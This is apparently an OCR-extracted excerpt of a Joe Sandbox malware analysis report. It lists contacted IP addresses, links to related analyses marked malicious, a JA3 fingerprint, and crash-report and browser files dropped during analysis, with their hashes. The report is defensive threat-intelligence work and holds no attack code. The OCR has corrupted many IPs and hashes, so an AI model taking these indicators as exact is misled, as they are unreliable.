Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context

2.18.160.23

2.18.160.23

2.18.160.23

2.18.160.23

151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44
151.101.1.44

Context

104.26.6.139
172.67.70.134
104.16.19.94
104.26.6.139
104.26.7.139
104.26.6.139
104.26.7.139
104.26.7.139
172.67.70.134

162.159.13
0.233

172.67.247.213

162.159.132.56
104.31.160.230

162.159.13
5.232

162.159.13
5.233

162.159.13
5.233

104.16.19.94
104.16.18.94
23.227.38.74
104.26.6.139
172.104.227.98
172.104.227.98
172.104.227.98
172.104.227.98
172.104.227.98
172.104.227.98
45.79.244.12
45.79.244.12
45.79.248.254
45.79.248.254
45.79.248.254
45.79.248.254
45.79.248.254
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https://view.joesandbox.com/analysis/419607/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419607/html/none?idtype=webid
https://view.joesandbox.com/analysis/419587/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419587/html/none?idtype=webid
https://view.joesandbox.com/analysis/419585/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419585/html/none?idtype=webid
https://view.joesandbox.com/analysis/419583/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419583/html/none?idtype=webid
https://view.joesandbox.com/analysis/419952/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419952/html/none?idtype=webid
https://view.joesandbox.com/analysis/419951/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419951/html/none?idtype=webid
https://view.joesandbox.com/analysis/419947/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419947/html/none?idtype=webid
https://view.joesandbox.com/analysis/419943/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419943/html/none?idtype=webid
https://view.joesandbox.com/analysis/419607/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419607/html/none?idtype=webid
https://view.joesandbox.com/analysis/419567/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419567/html/none?idtype=webid
https://view.joesandbox.com/analysis/418280/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418280/html/none?idtype=webid
https://view.joesandbox.com/analysis/416701/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416701/html/none?idtype=webid
https://view.joesandbox.com/analysis/413002/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/413002/html/none?idtype=webid
https://view.joesandbox.com/analysis/409150/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/409150/html/none?idtype=webid
https://view.joesandbox.com/analysis/408342/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/408342/html/none?idtype=webid
https://view.joesandbox.com/analysis/408322/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/408322/html/none?idtype=webid
https://view.joesandbox.com/analysis/407932/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407932/html/none?idtype=webid
https://view.joesandbox.com/analysis/406669/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/406669/html/none?idtype=webid
https://view.joesandbox.com/analysis/405508/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/405508/html/none?idtype=webid
https://view.joesandbox.com/analysis/405502/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/405502/html/none?idtype=webid
https://view.joesandbox.com/analysis/405490/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/405490/html/none?idtype=webid
https://view.joesandbox.com/analysis/405476/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/405476/html/none?idtype=webid
https://view.joesandbox.com/analysis/405469/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/405469/html/none?idtype=webid
https://view.joesandbox.com/analysis/405008/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/405008/html/none?idtype=webid
https://view.joesandbox.com/analysis/419952/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419952/html/none?idtype=webid
https://view.joesandbox.com/analysis/419951/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419951/html/none?idtype=webid
https://view.joesandbox.com/analysis/419950/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419950/html/none?idtype=webid
https://view.joesandbox.com/analysis/419949/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419949/html/none?idtype=webid
https://view.joesandbox.com/analysis/419947/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419947/html/none?idtype=webid
https://view.joesandbox.com/analysis/419946/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419946/html/none?idtype=webid
https://view.joesandbox.com/analysis/419943/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419943/html/none?idtype=webid
https://view.joesandbox.com/analysis/419941/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419941/html/none?idtype=webid
https://view.joesandbox.com/analysis/419939/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419939/html/none?idtype=webid
https://view.joesandbox.com/analysis/419930/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419930/html/none?idtype=webid
https://view.joesandbox.com/analysis/419913/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419913/html/none?idtype=webid
https://view.joesandbox.com/analysis/419907/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419907/html/none?idtype=webid
https://view.joesandbox.com/analysis/419905/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419905/html/none?idtype=webid
https://view.joesandbox.com/analysis/419904/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419904/html/none?idtype=webid
https://view.joesandbox.com/analysis/419886/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419886/html/none?idtype=webid
https://view.joesandbox.com/analysis/419877/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419877/html/none?idtype=webid
https://view.joesandbox.com/analysis/419866/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419866/html/none?idtype=webid
https://view.joesandbox.com/analysis/419865/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419865/html/none?idtype=webid
https://view.joesandbox.com/analysis/419851/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419851/html/none?idtype=webid
https://view.joesandbox.com/analysis/419842/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419842/html/none?idtype=webid
https://view.joesandbox.com/analysis/419952/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419952/html/none?idtype=webid
https://view.joesandbox.com/analysis/419951/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419951/html/none?idtype=webid
https://view.joesandbox.com/analysis/419949/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419949/html/none?idtype=webid
https://view.joesandbox.com/analysis/419947/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419947/html/none?idtype=webid
https://view.joesandbox.com/analysis/419943/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419943/html/none?idtype=webid
https://view.joesandbox.com/analysis/419941/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419941/html/none?idtype=webid
https://view.joesandbox.com/analysis/419875/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419875/html/none?idtype=webid
https://view.joesandbox.com/analysis/419868/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419868/html/none?idtype=webid
https://view.joesandbox.com/analysis/419606/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419606/html/none?idtype=webid
https://view.joesandbox.com/analysis/419605/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419605/html/none?idtype=webid
https://view.joesandbox.com/analysis/419601/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419601/html/none?idtype=webid
https://view.joesandbox.com/analysis/419600/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419600/html/none?idtype=webid
https://view.joesandbox.com/analysis/419598/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419598/html/none?idtype=webid

Match Associated Sample Name / URL SHA 256 Detection
Get hash malicious

Get hash malicious

Get hash malicious
Get hash malicious
Get hash malicious

Get hash malicious

Get hash malicious

JA3 Fingerprints

Match Associated Sample Name /| URL SHA 256 Detection
9e10692f1b7f78228b2d4e424db3a98c

Get hash malicious

Get hash malicious

Get hash malicious

Get hash malicious

Get hash malicious

Get hash malicious

Get hash malicious

Get hash malicious

Get hash malicious

Get hash malicious

Get hash malicious

Copyright Joe Security LLC 2021

Link
Browse

Browse

Browse
Browse
Browse
Browse

Browse

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

45.79.248.254

172.105.10
3.207

178.79.147.66
178.79.147.66
178.79.147.66
178.79.147.66
178.79.147.66

Context

87.248.118.22
104.26.2.70
142.250.20
3.102
172.67.70.134
151.101.1.44

87.248.118.22
104.26.2.70
142.250.20
3.102
172.67.70.134
151.101.1.44

87.248.118.22
104.26.2.70
142.250.20
3.102
172.67.70.134
151.101.1.44

87.248.118.22
104.26.2.70
142.250.20
3.102
172.67.70.134
151.101.1.44

87.248.118.22
104.26.2.70
142.250.20
3.102
172.67.70.134
151.101.1.44

87.248.118.22
104.26.2.70
142.250.20
3.102
172.67.70.134
151.101.1.44

87.248.118.22
104.26.2.70
142.250.20
3.102
172.67.70.134
151.101.1.44

87.248.118.22
104.26.2.70
142.250.20
3.102
172.67.70.134
151.101.1.44

87.248.118.22
104.26.2.70
142.250.20
3.102
172.67.70.134
151.101.1.44

87.248.118.22
104.26.2.70
142.250.20
3.102
172.67.70.134
151.101.1.44

87.248.118.22
104.26.2.70
142.250.20
3.102
172.67.70.134
151.101.1.44
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https://view.joesandbox.com/analysis/419596/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419596/html/none?idtype=webid
https://view.joesandbox.com/analysis/419573/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419573/html/none?idtype=webid
https://view.joesandbox.com/analysis/419503/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419503/html/none?idtype=webid
https://view.joesandbox.com/analysis/419496/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419496/html/none?idtype=webid
https://view.joesandbox.com/analysis/419492/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419492/html/none?idtype=webid
https://view.joesandbox.com/analysis/419484/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419484/html/none?idtype=webid
https://view.joesandbox.com/analysis/419482/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419482/html/none?idtype=webid
https://view.joesandbox.com/analysis/419952/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419952/html/none?idtype=webid
https://view.joesandbox.com/analysis/419951/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419951/html/none?idtype=webid
https://view.joesandbox.com/analysis/419949/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419949/html/none?idtype=webid
https://view.joesandbox.com/analysis/419947/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419947/html/none?idtype=webid
https://view.joesandbox.com/analysis/419946/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419946/html/none?idtype=webid
https://view.joesandbox.com/analysis/419943/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419943/html/none?idtype=webid
https://view.joesandbox.com/analysis/419941/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419941/html/none?idtype=webid
https://view.joesandbox.com/analysis/419940/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419940/html/none?idtype=webid
https://view.joesandbox.com/analysis/419939/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419939/html/none?idtype=webid
https://view.joesandbox.com/analysis/419842/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419842/html/none?idtype=webid
https://view.joesandbox.com/analysis/419835/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419835/html/none?idtype=webid

Match

51c64c77e60f3980eea90869b68c58a8

Dropped Files

Copyright Joe Security LLC 2021

Associated Sample Name / URL

SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context

e 87.248.118.22

e 104.26.2.70

e 142.250.20
3.102

e 172.67.70.134

e 151.101.1.44

e 87.248.118.22

e 104.26.2.70

e 142.250.20
3.102

e 172.67.70.134

e 151.101.1.44

e 87.248.118.22

e 104.26.2.70

e 142.250.20
3.102

e 172.67.70.134

e 151.101.1.44

e 87.248.118.22

e 104.26.2.70

e 142.250.20
3.102

e 172.67.70.134

e 151.101.1.44

e 87.248.118.22

e 104.26.2.70

e 142.250.20
3.102

e 172.67.70.134

e 151.101.1.44

e 87.248.118.22

e 104.26.2.70

e 142.250.20
3.102

e 172.67.70.134

e 151.101.1.44

e 87.248.118.22

e 104.26.2.70

e 142.250.20
3.102

e 172.67.70.134

e 151.101.1.44

e 87.248.118.22

e 104.26.2.70

e 142.250.20
3.102

e 172.67.70.134

e 151.101.1.44

e 87.248.118.22

e 104.26.2.70

e 142.250.20
3.102

e 172.67.70.134

e 151.101.1.44

e 172.104.227.98
e 172.104.227.98
e 172.104.227.98
e 172.104.227.98
e 172.104.227.98
e 172.104.227.98
e 172.104.227.98
e 172.104.227.98
e 172.104.227.98
e 172.104.227.98
e 172.104.227.98
e 172.104.227.98
e 172.104.227.98
e 172.104.227.98
e 172.104.227.98
e 172.104.227.98
e 172.104.227.98
e 172.104.227.98
e 172.104.227.98
e 172.104.227.98
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https://view.joesandbox.com/analysis/419832/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419832/html/none?idtype=webid
https://view.joesandbox.com/analysis/419821/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419821/html/none?idtype=webid
https://view.joesandbox.com/analysis/419771/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419771/html/none?idtype=webid
https://view.joesandbox.com/analysis/419762/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419762/html/none?idtype=webid
https://view.joesandbox.com/analysis/419607/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419607/html/none?idtype=webid
https://view.joesandbox.com/analysis/419587/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419587/html/none?idtype=webid
https://view.joesandbox.com/analysis/419585/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419585/html/none?idtype=webid
https://view.joesandbox.com/analysis/419583/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419583/html/none?idtype=webid
https://view.joesandbox.com/analysis/419580/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419580/html/none?idtype=webid
https://view.joesandbox.com/analysis/419952/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419952/html/none?idtype=webid
https://view.joesandbox.com/analysis/419951/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419951/html/none?idtype=webid
https://view.joesandbox.com/analysis/419949/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419949/html/none?idtype=webid
https://view.joesandbox.com/analysis/419947/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419947/html/none?idtype=webid
https://view.joesandbox.com/analysis/419943/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419943/html/none?idtype=webid
https://view.joesandbox.com/analysis/419941/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419941/html/none?idtype=webid
https://view.joesandbox.com/analysis/419607/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419607/html/none?idtype=webid
https://view.joesandbox.com/analysis/419502/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419502/html/none?idtype=webid
https://view.joesandbox.com/analysis/419499/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419499/html/none?idtype=webid
https://view.joesandbox.com/analysis/419405/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419405/html/none?idtype=webid
https://view.joesandbox.com/analysis/419403/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419403/html/none?idtype=webid
https://view.joesandbox.com/analysis/419366/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419366/html/none?idtype=webid
https://view.joesandbox.com/analysis/419190/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419190/html/none?idtype=webid
https://view.joesandbox.com/analysis/419172/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419172/html/none?idtype=webid
https://view.joesandbox.com/analysis/419162/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/419162/html/none?idtype=webid
https://view.joesandbox.com/analysis/418875/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418875/html/none?idtype=webid
https://view.joesandbox.com/analysis/418149/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/418149/html/none?idtype=webid
https://view.joesandbox.com/analysis/417445/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417445/html/none?idtype=webid
https://view.joesandbox.com/analysis/417368/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417368/html/none?idtype=webid
https://view.joesandbox.com/analysis/417367/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/417367/html/none?idtype=webid

No context

Created |/ dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_loaddll32.exe_8c5962cbbdb13a8671f1f3¢c3793157e73bd5d897_d70d8aa6_184da473

\Report.wer
Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\WerFault.exe

Little-endian UTF-16 Unicode text, with CRLF line terminators

dropped

65536

0.6221437270571293

false
96:2TWYZqyEy9hkoyt7JfapXIQcQ5c6A2cE2cw33+a+z+HbHg48ZAXGng5FMTPSkvPs:w7BtHNM28jjf/u7sIS2741tW
E75DDD546D38BDD7663FD7E89C882DD3

8EE7D486E1E9AFOBI3EEED3F710145AE80ED1BE4
1524EA4EB3AE22FDABDCBICE4C51E02DIBIA70C4DIB438ECD7C48170B5F80C8C

AT7265032FC4AD604400AB45A8E5D2D620B50FC788E05DFB43258FB4A0A81659D7D262C883BFADOECS5A6DAA14DFBDA499D6C16AA451D3A97EGBF1484FATD8A!
4D

false

.V.ersion=1...EventTyp.e=APP.CRASH..EventTim.e=13228299594739.0.1.6.409...Rep.ortTy.p.e=2...C.ons.ent=1...R.e.p.o.rtld
e.ntifier=£d.0.6.a.9.8.d.-.e.6.a.8.-4.5509.-.a.2f5.-.2.3.2.b.0.c.6.1.5.9.6.8....L.n.te.grato.r.Rep.ortlden.tifier=6.e.c4.0f9.0.-17e.2.-4b.4.d-b.a8.8.-46.
7.5.a.d.9.1.b.c.3.7....W.0.w.6.4.H.0.5.t.=.3.4.4.0.4....W.0.w.6.4.G.u.e.s.t.=3.3.2....N.s.Ap.p.N.ame.=lo.a.ddll3.2. exe..Ap.p.S.es.s.ionG.u.id=0.0.0.0.0.9f4.-
.0.0.0.1.-.0.0.1.c.-.6.1.d.e.~.a9.d.c.2.4..8.d.7.0.1....T.a.r.g.e.t.App.p...d.=W.:.0.0.0.0.d.a.3.9.a.3.e.e.5.€.6.b.4.b.0.d.3.2.5.5.b.f.e.f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9.1.0.0.0.
0.d.a.3.9.a.3.e.e.5..6.b.4.b.0.d.3.2.5.5.b.f.e.f.9.5.6.0.1.8.9.0.a.f.d.8.0.7.0.9...L.o.a.d.d.l.1.3.2...e.x.e....T.ar.g.e.t App.p.V.e.r=.2.0.2.1././.0.9././.2.8.:.1.1.:.5.3.:.0.5.1.0.1.1.
o.a.d.dll3.2..ex.e...B.o.0.tld=4294.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER75D5.tmp.csv

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\System32\svchost.exe

data

dropped

54924

3.0607423957361926

false

1536:xeH301iJ9TbbgBmxCPY S3ISx+|+ougDT7tNz:xeH301iJ9TbbgBmxCPY S3IK+l+ougDTH
C7CF75106C9C64811E7A07B081DEO74F
1AF31FD255CC35F6301D2DEDFCF336B42CC7A256
82AEACACEF7AD5CC9A9FDD9567E33204509575F8FE0A84C01799E751F1B9FC73
OE9A3B215A374AED23858292D4CBD2E3451339640C82438636996056FCEFE3DCF88A62F00D2A263ACIAAS8AE33B5B31C0532C40BE7BF065050C8914559F15E6E

false

I.m.a.g.e.N.am.e.,Un.ig.u.eP.ro.cess.ld,NumberOfThreads., Wo.rkingS.etPrivatesSize.,HardFaultCount,Numb.erOfThreadsH.
ighWatermark.,.Cy.cleTime.,.CreateTime.,UserTim.e.,Ke.rnelTime.,BaseP.riority.,.P.eakV.irtualS.ize.,VirtualS.ize.,.P.ag.e.F.
a.ultC.ou.nt,WorkingsSetSize., .PeakW.orkingsS.etSize.,Qu.o.taP.eakP.agedP.o.0lUsage, QuotaP.agedP.o.0lUsag.e.,QuotaP.e.
ak.N.o.n.P.a.ge.d.P.oolUs.age.,QuotaNonPagedP.oolUsage.,PagefileUsag.e.,PeakPagefileUsage.,PrivateP.ag.e.C.o.u.n.
t,.Re.adO.p.eratio.ncC.o.unt, WriteO.perationcC.o.unt, Other0O.p.erationcC.ount, ReadTransferC.o.unt, WriteTransfer.C.o.u.
n.t.,.O.therT.ransfer.C.o.u.nt, Han.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7BEO.tmp.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\System32\svchost.exe

data

dropped

13340

2.6962677054693525

false
96:9GiZYW5twsuKpeoYYYZWUgAH/UYEZxPmtWiwqr4dGwVxP8CqgnaulLoCxuyl03:9jZDEwv/dP9P7gnauLoCoVI03
424FBBC1386590BAA0D3F7038B3CC8A8

6B8AF27276C8657335241104C4EDD61398873EDD
9B1A28C03B83F94F308B9E924E9E9C635F12AE4A6EBD474263DCBE984DEAC2CD
651E522D53125D7F2BCE26374EAD67D6B29010E8C4D60DB98278935BE8D9824637C7C2E25828286502204AEBBFE748D489617B16BF31F42F186B9B54E6CE9766

false

B..T.iimerResolution. ... ... ... ... .. .. . 1.5.6.25.0....B...P.@a.g..Si.Z.6. . .. 4.0.9.6.....B...N.L
m.b.er.O.f.P.hys.icalPages...........................1.0483.15...B..Lowes.tPhysicalPageNumber ............................. 1.
....B..H.i.g.h.estP.hys.icalPageNumber ......................1.31.0.7.19...B..Allo.cationGranularity............. ... .. ... ... ....
.6.5.,5.3.6....B..M.i.nim.umU.s.erMo.deAddress........ ...........6,5536...B..MaximumuUs.erModeAddress. ................

.1.4.0.7.3.7.4.8.8.2.89.7.9.1.....B..Ac.tiv.e.P.ro.cess.orsAffinityMask ......
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C:\ProgramData\Microsoft\Windows\WER\Temp\WER912A.tmp.dmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\SysWOW64\WerFault.exe

Mini DuMP crash report, 15 streams, Fri Dec 3 09:05:48 2021, 0x1205a4 type

dropped

24896

2.4916603215824664

false
192:VJ8z0XKsBOLgTL+nvhVpuy303/K/quOPAze7QBasxvkwkN:Dp+PnV+3Ru04ze7iaBXN
2DF6EACAI9CBBF4D72152A2F528D07C2E
261886A2463B7E1FF81C4FA04C2AFFAD21F5C361
FDC60BBCC304D1B88461A70CCE825F0F10E2F573620264C995FC70BF8374F9D6
E6F67F67C90B8AD299D75E64A172FB4874180AC21051D98C4FDIB1BC17923F0442D8FF4D00C789DCDB57FFC0O33FA2BFE0798994C7679DE37BF04303D2F0B12E

false

P.a.c.ific..S.tandard. .T.im.e..
rs.4._releas.e..18.04.10.-18.04.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9503.tmp.WERInternalMetadata.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\SysWOW64\WerFault.exe

XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators

dropped

8342

3.7039619340599694

false
192:Rrl7r3GLNIihT66GxK6YFHSUTvZgmfsSzNCpB889bbGsffbpm:RrIsNiF6A6YFSUTvZgmfsSz+blff4
1CB22662C11A16F5730AB467F99303DE

7F06F8A168D0A78AFB490B42A038FFB878C6966C
5B815BEAS0E794C0AFDC36A20261857055F5B839F12354B0CB23202516C5737C
2920B1CF17F710565379F3272828BA06D18148802E8E14782D79400829C7C1660101DC958DOCFCE35EBE67D7C6F1135E24E2FBD5D5865CEEB4CICDA3SE436BB

false

.<.?2xml version="1.0" en.c.o.ding="UTF.-16."?>..<WERR.eportMetadata>...<0.SV.ersionlnformation>....<W.in.d.
o.w.s.N.T.V.ers.i.on>10..0.</WindowsNTV.ers.ion>....<Build>17134</Build>.....<Pro.du.ct>(0x3.0.).:.. .W.ind.ow.s. .10. .P.ro.
</P.roduct>....<Editio.n>Professional</Edition>....<BuildString>17134.1.amd64fre.rs4. _releas.e.18.0.4.1.0.-180.4.

</B.uildString>....<Revision>1l</Reuvision>....<Flav.or>Multipro.cess.or Free</Flavor>....<Architecture>X6.4<l/.
Architecture>.....<LClD>1033</LC.ID>...</0.SV.ersio.nlnformadtion>...<Proc.ess.lnformation>....<P.id>254.8</P..
d>.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9AB1.tmp.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\WerFault.exe

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

4598

4.477582405350841

false
48:cviwSD8zs/JgtWI9A+WSC8B148fm8M4J2yzZFs+q84WvnKcQlcQwQhdd:ulTthL/SN71JIwgnKkwQhdd
85BB44E77A462D4B6420313B0B7185D3

F837A5EDCS53EE38603B90825E75B06EDSE3AF204
C12AC09EBDA4FED7C4C18E2C1C351809A5785403874A6EF780C0C3CB95CBCD2C6

AAB5A5DF53EBE8E621B888E4CACDC675DCCA7394E7E3D96FALABBESS3E1C7FF57CEA35F7D04128FCBEG986D9298921F0316022DD957971BE8041F64E245128¢
1

false

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tim>.. <src>..  <desc>.. <mach>.. <0s>.. <arg nm="vermaj" val="10"
I>.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqgfe" val="1" />..

<arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="Icid" val="1033" />.. <arg nm="geoid"
val="244" |>.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1"
I>.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1281256" />.. <arg nm="osinsty" val="1"/>.. <arg nm="iever" val="11.1.17134.0-
11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\Users\user\AppDatal\Local\Microsoft\internet Explorer\DOMStore\2E8458K3\www.msn[1].xml

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:

C:\Program Files (x86)\Internet Explorer\iexplore.exe
ASCII text, with no line terminators

dropped

139

5.20170023951325

false

Copyright Joe Security LLC 2021 Page 16 of 74



C:\Users\user\AppData\Local\Microsoft\internet Explorer\DOMStore\2E8458K3\www.msn[1].xml

SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

3:D9yRtFwsx6wmxvFugLHIfWEYPJGX7T40AAe7XM1WLFdAqSk5taKb:JUFkdugswEKIXH40AAerxu45b
EC059D08D3E5CE75BC0691F329E03998

FABFF921F7894DA702917B1BB4274F24E6B497BD

031925AB53ACCB2599F9D7CC4B77926 CEFFA8B713E379D0BDFA352DF321EA84B

4AA11D4441BESA5B6348387A9ED33FC8E32ADEGIDBAIBF59D35484DCBSEDC2C845CC683ADCFIA2DDA73ECSEALIFDO8FCB1AC210BC7FAEF469937BC72DDDE
DDB8C

false

<root><item name="BT_AA_DETECTION" value="{&quot;ab&quot;:false,&quot;acceptable&quot;:true}" ltime="3922974336" htime="30926884" /></root>

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\DOMStore\AK9ZJ6RO\contextual.media[1].xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with no line terminators

dropped

238

4.837676090141911

false
6:JUFdscq936hlaudF3xqV+56w4F3ncqPCGv36w45b:JUTsp936hMuHVmewyPCGv36ws
49220C5488C84CF47E6DDODC6738264B
D7A5BD8A83B6879B210AB4C557925F8D72F5A189
